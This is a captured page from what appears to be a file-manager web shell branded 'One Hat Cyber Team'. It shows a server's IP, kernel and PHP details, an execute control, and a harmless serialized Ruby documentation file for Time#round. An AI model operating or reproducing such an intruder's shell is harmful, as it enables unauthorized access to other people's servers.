⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Time
/
View File Name :
round-i.ri
U:RDoc::AnyMethod[iI" round:ETI"Time#round;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"TRounds subsecond to a given precision in decimal digits (0 digits by default). ;TI"#It returns a new Time object. ;TI"4+ndigits+ should be zero or a positive integer.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"1t = Time.utc(2010,3,30, 5,43,25.123456789r) ;TI"Ct #=> 2010-03-30 05:43:25.123456789 UTC ;TI"9t.round #=> 2010-03-30 05:43:25 UTC ;TI"9t.round(0) #=> 2010-03-30 05:43:25 UTC ;TI";t.round(1) #=> 2010-03-30 05:43:25.1 UTC ;TI"
2010-03-30 05:43:25.12 UTC ;TI"=t.round(3) #=> 2010-03-30 05:43:25.123 UTC ;TI">t.round(4) #=> 2010-03-30 05:43:25.1235 UTC ;TI" ;TI"(t = Time.utc(1999,12,31, 23,59,59) ;TI"9(t + 0.4).round #=> 1999-12-31 23:59:59 UTC ;TI"9(t + 0.49).round #=> 1999-12-31 23:59:59 UTC ;TI"9(t + 0.5).round #=> 2000-01-01 00:00:00 UTC ;TI"9(t + 1.4).round #=> 2000-01-01 00:00:00 UTC ;TI"9(t + 1.49).round #=> 2000-01-01 00:00:00 UTC ;TI"9(t + 1.5).round #=> 2000-01-01 00:00:01 UTC ;TI" ;TI"Ht = Time.utc(1999,12,31, 23,59,59) #=> 1999-12-31 23:59:59 UTC ;TI"L(t + 0.123456789).round(4).iso8601(6) #=> 1999-12-31 23:59:59.1235 UTC;T:@format0: @fileI"time.c;T:0@omit_headings_from_table_of_contents_below0I")time.round([ndigits]) -> new_time ;T0[ I"(*args);T@&FI" Time;TcRDoc::NormalClass00